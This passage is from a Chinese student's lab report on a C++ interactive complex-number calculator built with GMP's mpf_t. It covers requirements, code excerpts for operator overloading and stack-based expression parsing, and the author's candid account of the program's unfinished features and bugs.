}catch(char ch){
cerr<<"错误的文件路径"<<buf<<"导致写入异常 :("<<endl;
}
break;
case 2:
cout<<"请输入读取的文件路径"<<endl;
cout<<">>> ";
getline(cin,newbuf);//buf就是路径
try{
ifs=make_shared<IFileStream>(newbuf);
cout<<">>> ";
getline(cin,buf);//从输入流中读取一行数据到buf
BlankFliter(buf);//首先排除空格的影响
StringTraslate(buf);
}catch(string str){
cerr<<str;
}
break;
case 3:
exit(0);
break;
default:
cout<<"无效的选项:("<<endl;
break;
}
}
return 0;
}

:::info

  1. 使用C完成代码,确保程序可由C编译器(如g++)编译。
  2. 采用面向对象的思想编写程序,将复杂结构抽象成类,并对必要的运算符进行重载,以使
    程序更为优雅可靠。
  3. 程序应以交互式方式运行,类似于Python的交互模式(思考一下,C++如何读取一
    行?)。空格不应影响输入。
  4. 可尝试支持对复杂表达式的混合计算,如
  5. 可尝试支持科学计数法的输入,尝试支持大浮点数(如1.0e200等)。
  6. 可尝试支持大数,支持高精度计算(可调用相关高精度运算库)。
  7. 可尝试多种方式对代码进行优化,包括执行速度、功能等(如在交互中支持++,+=,-
    -,-=,*=,/=等操作);可以尝试完善错误提示,让错误提示更加明确;尝试允许用户自
    选输出方式,如是否采用科学计数法等;可内嵌帮助文档,通过特定指令能够输出对应帮
    助文档。

8. 请勿直接采用他人的复数实现代码。

9. 项目报告需对需求进行分析,描述实现方案与项目特色。报告应包含核心代码并进行解

释。如果编译运行复杂,请提供编译运行代码的说明。提供运行结果的展示(如截图),

并尽量给出性能展示与分析。最后给出总结。同时,鼓励写上实现代码时遇到的困难以及

相应的解决思路/方案。

:::

先贴出结果,写出对应对的解析,然后写出总结

实验报告解析

写在前面

:::info
写在前面

:::

为了让实验报告看起来更加清晰,写出我的基本算法思想。

数据来源是字符串,我写的东西就是对字符串进行处理,利用操作符分割成每个字符串入栈,利用双栈来实现表达式。表达式再根据Complex类对操作符的重载,然后计算,存储结果。

思想很简单,但是不足的地方有很多,后面的总结再来啰嗦吧。

开始解析

:::info

  1. 使用C完成代码,确保程序可由C编译器(如g++)编译。
  2. 采用面向对象的思想编写程序,将复杂结构抽象成类,并对必要的运算符进行重载,以使
    程序更为优雅可靠。

:::

由于后面需要大数,因此引入gmpxx库,由于myms里面自带。我们之前通过VScode和mysm2搞了一下环境

因此我们的命令行参数设置如下即可,并且看到成功编译。

我们设计了一个Complex类,实部和虚部用两个高精度浮点类型mpf_t来表示。下面对一些运算符进行重载,包括对象是string类的和Complex类的,定义了一些方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class Complex{
public://也设立两个负数的flag
mpf_t realPart;//实
mpf_t imaginaryPart;//虚
Complex()
{
mpf_init2(imaginaryPart,333);
mpf_init2(realPart,333);
mpf_set_ui(realPart,0);
mpf_set_ui(imaginaryPart,0);
}
Complex(mpf_t initx,mpf_t inity)
{
mpf_init2(imaginaryPart,333);
mpf_init2(realPart,333);
mpf_set(realPart,initx);
mpf_set(imaginaryPart,inity);
}
char* getx(){
return mpf_get_str(nullptr,0,10,0,realPart);
}
char* gety(){
return mpf_get_str(nullptr,0,10,0,imaginaryPart);
}
Complex & operator=(Complex b)
Complex operator+(Complex b) const
Complex operator-(Complex b) const

Complex operator*(Complex b) const

Complex operator/(Complex b) const
Complex operator+(string buf) const
Complex operator-(string buf) const
Complex operator*(string buf) const
Complex operator/(string buf) const
string mod() const
string con() const
string alldata() const
string realdata() const
string imagdata() const
void print()const
};

:::info
3. 程序应以交互式方式运行,类似于Python的交互模式(思考一下,C++如何读取一

行?)。空格不应影响输入。

:::

如果用户输入复数,且复数有效,则用自行定义的统一格式打印该复数,若格式错

误,则打印错误信息(程序仍继续执行)。可参考如下(也可以自行统一格式):

对于赋值操作,程序应保存相应变量名和复数值,并支持变量覆盖操作(可以通过赋

值覆盖原来数值)(有效变量名可以参考C++有效变量名标准,如变量名只能是字母

A-Za-z)和数字(0-9)或者下划线(_)组成。第一个字母必须是字母或者下划

线开头。变量名区分大小写。变量名不能为“i”等预设名称。保存变量可以参考使用unordered_map 等容器)。若输入为已赋值变量,则输出该变量及相应复数值,若

未定义变量,则提示错误。

支持变量间的加减乘除法

在此前先说明,我创建的无序图键值对分别是,一个变量名对应一个字符串

然而因为我写的算法的原因并不支持复杂变量间的加减乘除运算,这是因为我在处理这些变量的时候等价于利用宏直接进行一个替换成一个字符串。

如果创建无序图的时候

支持模运算和赋值,

在这一点,对mod还算是比较成功的….

支持求共轭复数

con的话,因为代码算法的局限性,只完成了一点

选做)支持变量的连续的加减乘除法(同个运算),并可支持变量与数的混合运

算,括号解析(对于乘除法),和相应变量赋值

乘除法就算了,因为变量间都是宏替换的,实现不了….

但是加法肯定没问题,图中4.099999999999999999999我猜是因为mpf的局限,表示不了4.1,这里后面总结会说到这个东西。

这里展示一下常数的乘除法

:::info
4. 可尝试支持对复杂表达式的混合计算,如

:::

然而并不可以,因为程序残次,解析括号花费了挺多时间,也没有解决,我的评价是不如直接用mpf(或者其他高精度库)的栈,不用string的。

为什么这里a,b,c都有初始化,还会提示非法变量呢?

明显和我们的变量转换函数有关,我这里的思路是组部分解析buf,就是从0开始找,如果找到了就标记当前的下标,我们从当前下标开始找。这样有个问题,就是我们是abc顺序插入umap的,这里猜测umap存储是cba的一个链表,所以我们找到c的时候,就已经跳过了a和b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void NameTraslate(string &buf){
string::const_iterator it = buf.begin();
string::const_iterator word_start;
string::const_iterator word_end;
string word;
int idx=0;
int next_idx=0;
for (const auto& it : umap) {
idx=buf.find(it.first,next_idx);
if(idx!= std::string::npos){//如果不等于,说明找到了
next_idx=idx+it.first.length();
buf.replace(idx,it.first.length(),it.second);//用值替换对应对的键
}
}
if(buf.find('_')!=std::string::npos){//如果还找到相对应对的标识符,输出,未定义对的变量.
cerr<<"未定义的变量"<<endl;
}
}

改进后,把idx=buf.find(it.first,next_idx);改为idx=buf.find(it.first,0),之后就可以随便加都可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void NameTraslate(string &buf){
string::const_iterator it = buf.begin();
string::const_iterator word_start;
string::const_iterator word_end;
string word;
int idx=0;
int next_idx=0;
for (const auto& it : umap) {
idx=buf.find(it.first,0);
if(idx!= std::string::npos){//如果不等于,说明找到了
next_idx=idx+it.first.length();
buf.replace(idx,it.first.length(),it.second);//用值替换对应对的键
}
}
if(buf.find('_')!=std::string::npos){//如果还找到相对应对的标识符,输出,未定义对的变量.
cerr<<"未定义的变量"<<endl;
}
}

:::info
5. 可尝试支持科学计数法的输入,尝试支持大浮点数(如1.0e200等)。

:::

格式肯定是支持的,但是小数点的处理真不太行。虽然说把它分成指数exp和基数base来处理的思想是没错的,但是对位数的处理,有挺大的问题,特别是字符串的数据有多种情况。

这里突然想到,如果我们一开始把科学技术法的处理或者传入的数据是一个mpf_t高精度格式,让其库的函数来处理,会不会更好?特别是mpf_get_str会返回exponent的位置,我们直接根据这个位置插入小数点会不会更好?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void ETraslate(string &buf){
string s=buf;
int idx_e = s.find("E");
int idx_ch =s.find("#");
int idx_i=s.find("i");
bool flag_i=0;
if(idx_e!= std::string::npos){
if(idx_i!=std::string::npos){
buf.pop_back();//把i给pop掉
flag_i=1;
}
if(idx_ch!= std::string::npos){//如果存在的话{
buf[idx_ch]='-';
}
string base = s.substr(0, idx_e); //获取小数部分
int exp = stoi(s.substr(idx_e + 1)); //获取指数部分
buf=AdjustResult(exp,base);
if(flag_i){
buf.append("i");
}
}else {
return ;
}
}
string AdjustResult(int exp,string &buf){
string adjust_result;
if (exp < 0) {
// 计算小数点需要向左移动的位数
int move = -exp;
adjust_result = "0." + std::string(move, '0') + buf;
} else {
// 在整数部分后面拼接exp个"0"
adjust_result = buf + std::string(exp, '0');
}
return adjust_result;
}

:::info

  1. 可尝试支持大数,支持高精度计算(可调用相关高精度运算库)。

:::

只能说托mpf的福,没问题,但是表达式执行算法有大问题。

:::info
7. 可尝试多种方式对代码进行优化,包括执行速度、功能等(如在交互中支持+++=-

--=*=/=等操作);可以尝试完善错误提示,让错误提示更加明确;尝试允许用户自

选输出方式,如是否采用科学计数法等;可内嵌帮助文档,通过特定指令能够输出对应帮

助文档。

:::

由于上面的六种基本要求都没有完成,所以这一方面也没时间下手。

:::info
8. 请勿直接采用他人的复数实现代码。

9. 项目报告需对需求进行分析,描述实现方案与项目特色。报告应包含核心代码并进行解

释。如果编译运行复杂,请提供编译运行代码的说明。提供运行结果的展示(如截图),

并尽量给出性能展示与分析。最后给出总结。同时,鼓励写上实现代码时遇到的困难以及

相应的解决思路/方案。

:::

这里就贴出核心代码进行解释吧,既然是个残次品,其实效率真的低,代码也冗长

表达式拆分,操作数操作符分别入栈

在一开始我们将科学计数法E后面的符号换成另一个符号#来处理

对于mod(),con()的翻译选择在拆分之前,不然里面的符号会影响拆分

拆分主要是选择运算符号为分界线进行拆分。

操作符通常是操作数-1(除去括号)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
for(int i=0;i<buf.length();i++){
int idx_e=buf.find('E',i);//找到E的位置
if(idx_e!= std::string::npos){
if(buf[idx_e+1]=='-'){//如果e的下个字符是-号的话,换成不处理的符号
buf[idx_e+1]='#';
}
}
if(buf[i]=='+'||buf[i]=='-'||buf[i]=='*'||buf[i]=='/'||buf[i]=='('||buf[i]==')'){
idxoffset=i-idx_oper;
idx_oper=i;

if(pre_idx==0||idxoffset>1){// 1*(2+3) *和(下标差距为1 idx_oper=1, i=2 idxoffset=1
string temp;
if(pre_idx==0){
temp=buf.substr(pre_idx,idxoffset);
}
else if(pre_idx!=0){
temp=buf.substr(pre_idx,idxoffset-1);
}
ETraslate(temp);
bufstack1.push(temp);//2+3+6 则插入3
if(buf[idx_oper+1]=='('){
pre_idx=idx_oper+2;
}else{
pre_idx=idx_oper+1;
}

}
opstack1.push(buf[i]);
}
if(buf[i]!=')'&&i==buf.length()-1){//到字符串末尾 idx_op=3 i=4 idx_offset=1 buf.length=5
string temp;
if(pre_idx==0){
temp=buf.substr(idx_oper,buf.length()-idx_oper);
}else{
temp=buf.substr(idx_oper+1,buf.length()-idx_oper-1);
}
ETraslate(temp);
bufstack1.push(temp);//2+3-6 插入6
}
}

利用栈进行运算,以及优先级

对栈中操作数操作符进行运算的代码有点长。。。其实真不应该,如果用mpf类型的栈的话,大不了特例化一个

这里贴出部分代码。

下面是我选用的优先级

1
2
3
4
5
6
7
8
9
10
11
12
int WhoFirst(char op){
if(op=='(')
return 1;
else if(op=='+'||op=='-')
return 2;
else if(op=='*'||op=='/')
return 3;
if(op==')')
return 1;
else
cerr<<"错误的字符输入"<<endl;
}

对操作符栈1和栈2进行操作,栈1只是为了实现逆波兰表达式

如果栈1取出来的符号优先级比栈2高则继续从栈1取符号,同时取操作数

如果优先级低于栈2,则利用栈2顶部符号开始运算。

其实这里一开始栈就应该用mpf,这样也更好处理括号的问题,以及运算的问题,要用的时候进行重载就好了。

1
2
3
4
5
6
7
8
9
10
11
while(bufstack2.top()!="@"||bufstack2.size()>1||!opstack1.empty()||!opstack2.empty()){//依据操作符栈1是否为空判断是否结束
if((!opstack1.empty())){
if(!opstack1.empty()&&!opstack2.empty()&&(WhoFirst(opstack1.top())>=WhoFirst(opstack2.top()))){//来者的优先级比较大,就不管它
if(opstack1.top()=='('&&opstack2.top()==')'){
opstack1.pop();
opstack2.pop();
}
opstack2.push(opstack1.top());
opstack1.pop();
bufstack2.push(bufstack1.top());
bufstack1.pop();

这里是运算的步骤,只放出加法运算

对于三个数55+45+100,直接计算没问题,就是对100+45=145的结果放到栈2暂存,然后再从栈1读取55和+来继续运算

但是对于复数1+2i+3+4i,4i+3结果是一个字符串,如果放到栈2暂存,我们后面入栈2i和+的时候,计算就真不好算了,所以这里采用一个占位符@但是会产生一个问题,就是不知道该值是多少。

好像也可以用图来缓解这个问题,但是这个终究是算法的缺陷,终究是我考虑的不够全面,坑只会越填越多。

采用能够方便我们进行对象操作的算法和数据结构,类才是关键。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
else if(!opstack1.empty()&&!opstack2.empty()&&(WhoFirst(opstack1.top())<WhoFirst(opstack2.top()))){//来者的优先级比较小,我们就要进行
char op=opstack2.top();
opstack2.pop();
switch (op){
case '+':
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
cout<<"2+1: "<<endl;
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
break;

mpf精度问题

mpf浮点数结构体

1
2
3
4
5
6
7
8
9
10
11
// gmp.h
typedef struct
{
int _mp_prec; // mp_limb_t 的最大精度。由 mpf_init 设置,
// 由 mpf_set_prec 修改。
// _mp_d字段指向的区域包含' prec' + 1个 limb(s)。
int _mp_size; // abs(_mp_size)是最后一个字段指向的 limb(s) 数。
// 如果 _mp_size 是负数,则这就是一个负数。
mp_exp_t _mp_exp; // 以 mp_limb_t 为底的指数。
mp_limb_t *_mp_d; // 指向 limb(s) 的指针。
} __mpf_struct;

mpf_t我们直接用init初始化的话是有问题的,因为这样返回的字符串,以及精度最多在21位就被截断了。

我们需要使用mpf_inits(a,333);后面的333能够让我们有100位的精度。参考

总结

总结就是,第二次项目可以说是另辟蹊径做出来的残次品,功能并不完全。。。所以我也挺不满意的,其实应该做到一半就大改结构和思路,不明白自己为什么那么固执,非要填那些填不上的坑,不如早点听别人意见。

填坑消耗的时间又多,做的又不理想…

这里说一下我这个残次品的思路和后面想到的理想中的思路吧,也就说出来我做了什么。

残次品的思路

对于大数字的处理,我们肯定要对字符串进行操作。

所以此程序以字符串为基础,设置相关的数据结构比如栈,我们的Complex类采用mpf_t,有一个函数mpf_get_str能够将mpf_t值转化为字符串(稍有差异)

所以这里的操作层面都是对字符串进行操作的,对从栈取出的字符串的处理和操作符的处理我的方式是有问题的,无法解析括号甚至无法处理复杂加减乘除的表达式。甚至对多个乘法的结果相加,借助了一个向量和一个无意义符号@,这也让我们的代码变成冗长难以理解

理想的思路

如果使用mpf_t的栈来运算,重载其运算符,mpf_t的栈进行特例化。

这样肯定会让我们的代码简洁很多。

优先级设置,以及括号的解析也能够更加容易得实现。我们对字符操作完后,填充其他符号了。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
#include <iostream>
#include <bits/stdc++.h>
#include <string>
#include <string.h>
#include <stdlib.h>
#include <gmpxx.h>
#include <unordered_map>
#include <stack>
#include <vector>
#include <queue>//运用到C++的栈和队列
using namespace std;
#define MAXSIZE 1024

void CountEr(string &buf);
void BlankFliter(string &buf);
void ModTraslate(string &buf);//转换模,转换科学计数法,转换共轭复数
void ConTraslate(string &buf);
void ETraslate(string &buf);
bool NameCheck(string &buf);
void NameTraslate(string &buf);
string AdjustResult(int exp,string &buf);
string MpfAdjustResult(int exp,string &buf);
bool CheckImga(string &buf);
int WhoFirst(char op);
bool Invalid=0;

unordered_map<string,string>umap{

};
int Out_State=0;

//Complex一个浮点类,一个整数类,可以用函数模板,对一些必要的操作进行重载.
class Complex{
public://也设立两个负数的flag
mpf_t realPart;//实
mpf_t imaginaryPart;//虚
Complex()
{
mpf_init2(imaginaryPart,333);
mpf_init2(realPart,333);
mpf_set_ui(realPart,0);
mpf_set_ui(imaginaryPart,0);
}
Complex(mpf_t initx,mpf_t inity)
{
mpf_init2(imaginaryPart,333);
mpf_init2(realPart,333);
mpf_set(realPart,initx);
mpf_set(imaginaryPart,inity);
}
char* getx(){
return mpf_get_str(nullptr,0,10,0,realPart);
}
char* gety(){
return mpf_get_str(nullptr,0,10,0,imaginaryPart);
}
Complex & operator=(Complex b)
{
mpf_set(this->realPart,b.realPart);
mpf_set(this->imaginaryPart,b.imaginaryPart);
return *this;
}
Complex operator+(Complex b) const
{
Complex result= Complex();
mpf_add(result.realPart,b.realPart,this->realPart);
mpf_add(result.imaginaryPart,b.imaginaryPart,this->imaginaryPart);
return result;
}
Complex operator-(Complex b) const
{
Complex result= Complex();
mpf_sub(result.realPart,b.realPart,this->realPart);
mpf_sub(result.imaginaryPart,b.imaginaryPart,this->imaginaryPart);
return result;
}
Complex operator*(Complex b) const
{
Complex result= Complex();
mpf_t ac,bd,bc,ad;
mpf_init2(ac,333);
mpf_init2(bd,333);
mpf_init2(bc,333);
mpf_init2(ad,333);

mpf_mul(ac,b.realPart,this->realPart);
mpf_mul(bd,b.imaginaryPart,this->imaginaryPart);
mpf_mul(bc,b.realPart,this->imaginaryPart);
mpf_mul(ad,b.imaginaryPart,this->realPart);
mpf_sub(result.realPart,ac,bd);
mpf_add(result.imaginaryPart,bc,ad);


return result;
}
Complex operator/(Complex b) const
{
Complex result= Complex();
mpf_t ac,bd,bc,ad;
mpf_t temp1,temp2;

mpf_init2(ac,333);
mpf_init2(bd,333);
mpf_init2(bc,333);
mpf_init2(ad,333);
mpf_init2(temp1,333);
mpf_init2(temp2,333);
mpf_mul(ac,b.realPart,this->realPart);
mpf_mul(bd,b.imaginaryPart,this->imaginaryPart);
mpf_mul(bc,b.realPart,this->imaginaryPart);
mpf_mul(ad,b.imaginaryPart,this->realPart);

//(a+bi)/(c+di)=(ac + bd)/(c^2 + d ^2) +((bc - ad)/(c ^2 + d ^2)) i
mpf_pow_ui(temp1,b.realPart,2);
mpf_pow_ui(temp2,b.imaginaryPart,2);
mpf_add(temp1,temp1,temp2);
mpf_add(result.realPart,ac,bd);
mpf_div(result.realPart,result.realPart,temp1);
mpf_sub(result.imaginaryPart,bc,ad);
mpf_div(result.imaginaryPart,result.imaginaryPart,temp1);

return result;
}
Complex operator+(string buf) const
{

Complex result= Complex();
result=(*this);
mpf_t temp;
mpf_init2(temp,333);

if(CheckImga(buf)){
if(buf.length()==1)//说明是纯虚数
buf="1";//将唯一的i,替换为数字1
else
buf.pop_back();//删除最后一个为 i
mpf_set_str(temp,buf.c_str(),10);
mpf_add(result.imaginaryPart,this->imaginaryPart,temp);
}else{
mpf_set_str(temp,buf.c_str(),10);
mpf_add(result.realPart,this->realPart,temp);
}

return result;
}
Complex operator-(string buf) const
{

Complex result= Complex();
result=(*this);
mpf_t temp;
mpf_init2(temp,333);

if(CheckImga(buf)){
if(buf.length()==1)//说明是纯虚数
buf="1";//将唯一的i,替换为数字1
else
buf.pop_back();//删除最后一个为 i
mpf_set_str(temp,buf.c_str(),10);
mpf_sub(result.imaginaryPart,this->imaginaryPart,temp);
}else{
mpf_set_str(temp,buf.c_str(),10);
mpf_sub(result.realPart,this->realPart,temp);
}

return result;
}
Complex operator*(string buf) const
{
Complex result= Complex();
result=(*this);
Complex temp=Complex();
if(CheckImga(buf)){
if(buf.length()==1)//说明是纯虚数
buf="1";//将唯一的i,替换为数字1
else
buf.pop_back();//删除最后一个为 i
mpf_set_str(temp.imaginaryPart,buf.c_str(),10);
}else{
mpf_set_str(temp.realPart,buf.c_str(),10);
}

result=(*this)*temp;
return result;
}
Complex operator/(string buf) const
{
Complex result= Complex();
result=(*this);
Complex temp=Complex();
if(CheckImga(buf)){
if(buf.length()==1)//说明是纯虚数
buf="1";//将唯一的i,替换为数字1
else
buf.pop_back();//删除最后一个为 i
mpf_set_str(temp.imaginaryPart,buf.c_str(),10);
}else{
mpf_set_str(temp.realPart,buf.c_str(),10);
}
result=(*this)/temp;
return result;
}
string mod() const
{
mpf_t a,b,c;
string result;
mp_exp_t exponent;
char* word;

mpf_init2(a,333);
mpf_init2(b,333);
mpf_init2(c,333);
mpf_pow_ui(a,this->realPart,2);
mpf_pow_ui(b,this->imaginaryPart,2);
mpf_add(a,a,b);
mpf_sqrt(c,a);

word=mpf_get_str(nullptr,&exponent,10,0,c);
result=word;
result=MpfAdjustResult(exponent,result);
return result;
}
string con() const
{
mpf_t a,b,c;
mp_exp_t exponent;//long
char* word;
string result1;
string result2;
int idx_neg;
bool flag_neg=0;

mpf_init2(a,333);
mpf_init2(b,333);
mpf_init2(c,333);
result1=this->realdata();
mpf_neg(b,this->imaginaryPart);//取反
word=mpf_get_str(nullptr,&exponent,10,0,b);
result2=word;
idx_neg=result2.find('-');
if(idx_neg!=std::string::npos){
result2.erase(idx_neg,1);
flag_neg=1;
}
result2=MpfAdjustResult(exponent,result2);
if(flag_neg){
result2.insert(idx_neg,"-");
}

if(!result2.empty()&&!result1.empty()){
result2.append("i");
return result1+"+"+result2;
}else if(result1.empty()){
result2.append("i");
return result2;
}else{
return result1;
}
}
string alldata() const
{
string str1=this->realdata();
string str2=this->imagdata();
return str1+str2;
}
string realdata() const
{
mp_exp_t exponent;
char* word;
string result;
char buffer[100];
bool neg_flag=0;

mpf_get_str(buffer,&exponent,10,0,this->realPart);
result=buffer;
if(result.find("-")!=std::string::npos){
neg_flag=true;
result.erase(result.find("-"),1);
}

result=MpfAdjustResult(exponent,result);
if(neg_flag){
result.insert(0,"-");
}
return result;
}
string imagdata() const
{
mp_exp_t exponent;
string result;
char buffer[100];
bool neg_flag=false;

mpf_get_str(buffer,&exponent,10,0,this->imaginaryPart);
result = buffer;
if(result.find("-")!=std::string::npos){
neg_flag=true;
result.erase(result.find("-"),1);
}
result=MpfAdjustResult(exponent,result);

if(!result.empty()){
result+="i";
if(neg_flag){
result.insert(0,"-");
}else{
result.insert(0,"+");
}
}
return result;
}
void print()const
{
gmp_printf("实部:%Ff\n",this->realPart);
gmp_printf("虚部:%Ff\n",this->imaginaryPart);
cout<<this->realdata()<<endl;
cout<<this->imagdata()<<endl;
}
};

int main()
{
// 为 a 赋值,a=0
Complex Com_Result=Complex();

string key;//变量名
string value;//存储的值
string buf;
int idx_equal=0;
int prec_set=0;
// cout<<"请输入你要的精度:";
// cin>>prec_set;
// getchar();
// mpf_set_default_prec(prec_set);

while(1){
cout<<">>> ";
Invalid=0;
getline(cin,buf);//从输入流中读取一行数据到buf
BlankFliter(buf);
if(buf.find("=")!= std::string::npos){
bool is_exist=0;
idx_equal=buf.find("=");
key=buf.substr(0,idx_equal);
value=buf.substr(idx_equal+1,buf.length()-idx_equal-1);//a=2+3 len=5 idx_equal=1 传入的大小是5-1-1
NameTraslate(value);
NameTraslate(value);
BlankFliter(value);
ModTraslate(value);
ConTraslate(value);
CountEr(value);
if(NameCheck(key)){
umap[key]=value;
}else{
cout<<"变量名格式错误!请重新命名..."<<endl;
}//这里要处理value的值
}//第二个是调用变量名
else if(umap.find(buf)!=umap.end()){//判断迭代器是否到尾部,到尾部说明没有这个变量
cout<<umap[buf]<<endl;
}
else{
NameTraslate(buf);
NameTraslate(buf);
ModTraslate(buf);
ConTraslate(buf);
BlankFliter(buf);
CountEr(buf);
if(!Invalid){
cout<<buf<<endl;
}
}
//表达式
}
return 0;
}

void CountEr(string &buf){//引用修改是直接修改变量 //当然对于一些特殊符号,要在前面进行语义解析和翻译工作. //比如mod运算,和++运算,还有共轭复数运算,甚至是变量
char oper;//操作符
Complex result= Complex();//最后的结果。
Complex temp_result=Complex();
Complex zero_com=Complex();
vector<Complex> mulsave(0);
int idx_i;//虚数i的下标//科学计数法e的下标
int idx_oper=0;
int idx_num2_end;
int idxoffset=0;
int pre_idx=0;
stack<char> opstack1;
stack<char> opstack2;
stack<string> bufstack1;
stack<string> bufstack2;

//去除空格之后,通过运算符 来筛选操作符和操作数。
for(int i=0;i<buf.length();i++){
int idx_e=buf.find('E',i);//找到E的位置
if(idx_e!= std::string::npos){
if(buf[idx_e+1]=='-'){//如果e的下个字符是-号的话,换成不处理的符号
buf[idx_e+1]='#';
}
}
if(buf[i]=='+'||buf[i]=='-'||buf[i]=='*'||buf[i]=='/'||buf[i]=='('||buf[i]==')'){
idxoffset=i-idx_oper;
idx_oper=i;

if(pre_idx==0||idxoffset>1){// 1*(2+3) *和(下标差距为1 idx_oper=1, i=2 idxoffset=1
string temp;
if(pre_idx==0){
temp=buf.substr(pre_idx,idxoffset);
}
else if(pre_idx!=0){
temp=buf.substr(pre_idx,idxoffset-1);
}
ETraslate(temp);
bufstack1.push(temp);//2+3+6 则插入3
if(buf[idx_oper+1]=='('){
pre_idx=idx_oper+2;
}else{
pre_idx=idx_oper+1;
}

}
opstack1.push(buf[i]);

}
if(buf[i]!=')'&&i==buf.length()-1){//到字符串末尾 idx_op=3 i=4 idx_offset=1 buf.length=5
string temp;
if(pre_idx==0){
temp=buf.substr(idx_oper,buf.length()-idx_oper);
}else{
temp=buf.substr(idx_oper+1,buf.length()-idx_oper-1);
}
ETraslate(temp);
bufstack1.push(temp);//2+3-6 插入6
}
}
//利用另外两个栈,实现后缀表达式
bufstack2.push(bufstack1.top());//先入栈一个操作数
bufstack1.pop();

//入栈第二个操作数,入栈第一个操作符,防止访问空栈
if(!opstack1.empty()&&opstack1.top()==')'){//第一个括号都是)先入栈
opstack2.push(opstack1.top());
opstack1.pop();
}

if(!opstack1.empty()){
